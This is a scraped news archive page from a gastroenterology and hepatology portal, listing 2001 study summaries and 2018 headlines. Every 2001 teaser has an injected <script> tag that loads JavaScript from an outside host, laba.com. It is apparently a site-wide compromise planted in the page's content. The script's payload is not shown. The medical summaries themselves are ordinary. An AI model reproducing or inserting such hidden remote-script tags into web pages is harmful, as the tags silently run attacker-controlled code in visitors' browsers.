Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 18 February 2018

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Virus selectively kills cancer cells with defective p53 03 September 2001
Viral cancer therapy?<script src=http://laba.com/muuu.s></script> A virus that exploits a gene defect common to cancer cells and selectively kills them may offer a new avenue for therapy, suggest researchers in this week's Nature.
Full story
Nadolol and isosorbide mononitrate suitable for prevention of recurrent variceal bleeding 03 September 2001
Prevention of recurrent variceal bleeding<script src=http://laba.com/muuu.s></script> A Spanish study has found that combined treatment with nadolol and isosorbide mononitrate is better tolerated than endoscopic ligation in the prevention of recurrent variceal bleeding.
Full story
New technique for insertion of a nasogastric tube after a stroke 03 September 2001
Nasogastric tube placement<script src=http://laba.com/muuu.s></script> A new way of inserting nasogastric tubes in patients with dysphagia has been developed for use in acute stroke patients, where cooperation may be a problem.
Full story
Preoperative radiotherapy combined with surgery for resectable rectal cancer 31 August 2001
Rectal cancer treatment<script src=http://laba.com/muuu.s></script> Short-term preoperative radiotherapy reduces the risk of local recurrence in patients with rectal cancer who undergo a standardized total mesorectal excision, claims a team from Sweden and the Netherlands.
Full story
Lansoprazole and tranexamic acid reduce upper GI bleeding 31 August 2001
Drugs reduce GI bleeding<script src=http://laba.com/muuu.s></script> Blood in the stomach at endoscopy reflects clinical features in patients with acute upper gastrointestinal bleeding and is reduced by treatment with lansoprazole and tranexamic acid, finds a study in September's Gut.
Full story
Outpatient treatment suitable for selected patients with upper GI hemorrhage 31 August 2001
Outpatient hemorrhage care<script src=http://laba.com/muuu.s></script> A study from the Universitat de Valencia, Spain, has evaluated the safety of outpatient management of upper GI hemorrhage (UGIH) not associated with portal hypertension, reports the American Journal of Gastroenterology.
Full story
Preoperative nutritional supplement beneficial for high-risk patients undergoing heart surgery 31 August 2001
Heart surgery supplement<script src=http://laba.com/muuu.s></script> An immune-enhancing nutritional supplement, conventionally used in critical care and cancer surgery, could be beneficial for elderly and other high-risk patients requiring cardiac surgery, concludes a study in this week's Lancet.
Full story
Intragastric carcinogenic N-nitrosamines and gastric acid suppressive therapy with omeprazole 30 August 2001
Omeprazole and N-nitrosamines<script src=http://laba.com/muuu.s></script> The effect of long-term gastric acid suppressive therapy with omeprazole on intragastric levels of carcinogenic N-nitrosamines has been evaluated in a study published in the September issue of Gastroenterology.
Full story
Two-thirds of atrophic body gastritis patients have H. pylori infection 30 August 2001
<i>H. pylori</i> and atrophic gastritis<script src=http://laba.com/muuu.s></script> Two-thirds of atrophic body gastritis patients have evidence of Helicobacter pylori infection, which suggests that the bacterium is able to induce gastric atrophic damage, claims a team from Italy.
Full story
Proliferative activity in Barrett's esophagus before and after antireflux surgery 29 August 2001
Proliferative activity in Barrett's esophagus<script src=http://laba.com/muuu.s></script> A study has been conducted by two teams in Canada and Spain to assess proliferation in the columnar-lined esophageal mucosa before and after antireflux surgery.
Full story
Fecal calprotectin and fecal occult blood tests in diagnosis of colorectal neoplasia 29 August 2001
Fecal calprotectin <i>vs</i>. fecal occult blood tests<script src=http://laba.com/muuu.s></script> A report published in the journal Gut compares fecal calprotectin and fecal occult blood testing as methods for detection of colorectal carcinoma and adenoma.
Full story
Retrospective analysis of ERCP 29 August 2001
ERCP retrospective analysis<script src=http://laba.com/muuu.s></script> A study finds ERCP is a safe technique for pre-operative assessment of periampullary tumors, and can also be used for internal biliary drainage.
Full story
Seeds of doubt: raw sprouting shoots cause illnesses in California 28 August 2001
Raw sprouting shoots cause illness<script src=http://laba.com/muuu.s></script> Six outbreaks of salmonellosis and Escherichia coli 0157 in California were associated with eating raw (uncooked), contaminated alfalfa and clover sprouts, finds a study in the August issue of the journal Annals of Internal Medicine.
Full story
Guidelines for follow-up in colorectal cancer needed to match treatment to risk of recurrence 28 August 2001
Colorectal cancer recurrence<script src=http://laba.com/muuu.s></script> A study reported in the journal Diseases of the Colon and Rectum has compared treatment and follow-up in recurrent and nonrecurring cases of colorectal cancer in order to determine if better guidelines for identifying the risk of recurrence can be established.
Full story
Repeat tests are essential for colonic cancer screening 28 August 2001
Colonic cancer screening<script src=http://laba.com/muuu.s></script> Fecal occult-blood testing (FOBT) and sigmoidoscopy have been recommended for screening for colorectal cancer, but the sensitivity of such combined testing for detecting neoplasia is uncertain.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854

Go to top of page Email this page Email this page to a colleague

 16 February 2018 
Undetected celiac in the elderly
 16 February 2018 
Inflammatory bowel diseases are global diseases
 16 February 2018 
Fructans induce non-celiac gluten sensitivity
 15 February 2018 
Oral direct-acting antiviral treatment for Hep C virus genotype 1
 15 February 2018 
NSAIDS and GI damage
 15 February 2018 
Primary vs secondary surgery for the presence of lymph node metastasis
 14 February 2018 
Management of hemorrhoids in the USA
 14 February 2018 
Predicting adenoma detection rate
 14 February 2018 
Normal bowel frequency characterization in the USA 
 13 February 2018 
Prebiotics improve endothelial dysfunction
 13 February 2018 
Personalising treatment options for IBS
 13 February 2018 
Diagnostic criteria for a Rome IV functional gastrointestinal disorders
 12 February 2018 
Visceral hypersensitivity and functional GI disorders
 12 February 2018 
Depression and aggressive IBD
 12 February 2018 
Variability in interpretation of endoscopic findings impacts patient management
 09 February 2018 
Treatment of choice for anastomotic stricture in IBD
 09 February 2018 
PRO measurement information system 
 09 February 2018 
Overall disease severity indices for IBD
 08 February 2018 
Prediction of endoscopically active disease

 08 February 2018 
Steroid-refractory acute severe ulcerative colitis
 08 February 2018 
Decision aid used by IBD patients
 07 February 2018 
Ursodeoxycholic acid combined with bezafibrate for itching
 07 February 2018 
Change in microbiome in gastritis vs gastric carcinoma
 07 February 2018 
Colorectal cancer and primary sclerosing cholangitis-IBD
 06 February 2018 
Risk of death after liver transplantation
 06 February 2018 
Crohn’s disease vs refractory pouchitis
 06 February 2018 
Support for functional dyspepsia symptom diary
 05 February 2018 
Helicobacter spp influence on GI tract 
 05 February 2018 
No link found between severe reflux and all-cause mortality 
 05 February 2018 
Psychological distress in PPI non-responders
 02 February 2018 
Assessing psychosexual impact of IBD
 02 February 2018 
Decrease in overall mortality with cholera vaccination
 02 February 2018 
Diagnostic performance of fecal immunochemical tests
 01 February 2018 
Screening frequency with family histories of colorectal cancer
 01 February 2018 
IBD and sport participation
 01 February 2018 
Life with a stoma 
 31 January 2018 
Aprepitant and gastroparesis 
 31 January 2018 
Anesthesia risk in colonoscopy
 31 January 2018 
GED-0301 for Crohn's Disease
 30 January 2018 
Intestinal dysbiosis and allergic diseases in infants
 30 January 2018 
Fructans and IBS symptoms in children
 29 January 2018 
Dosing calculator for therapy optimization in IBD
 29 January 2018 
Glecaprevir–pibrentasvir for in HCV
 29 January 2018 
Food allergen injections in eosinophilic esophagitis
 29 January 2018 
Reliability of the IBD index
 26 January 2018 
Tofacitinib vs biological therapies for ulcerative colitis
 26 January 2018 
Optimizing selection of biologics in IBD
 26 January 2018 
Nutritional risk and laparoscopic-assisted gastrectomy outcomes
 25 January 2018 
Patient-reported outcome measure for functional dyspepsia
 25 January 2018 
Predicting intra-abdominal infections after colorectal surgery
 25 January 2018 
Predictors of gastric cancer risk
 24 January 2018 
Risk factors underlying previously undiagnosed cirrhosis
 24 January 2018 
Ethnicity influences phenotype in IBD
 24 January 2018 
Bariatric surgery vs medical obesity treatment
 23 January 2018 
Atrophic gastritis after H. pylori eradication
 23 January 2018 
Ectopic pregnancy in women with IBD
 23 January 2018 
Celiac disease in IBS in the USA
 22 January 2018 
Improving symptoms in GERD
 22 January 2018 
Costs of biologic therapies for IBD in the USA
 22 January 2018 
Western vs Asian guidelines for colon cancer management

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2018 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us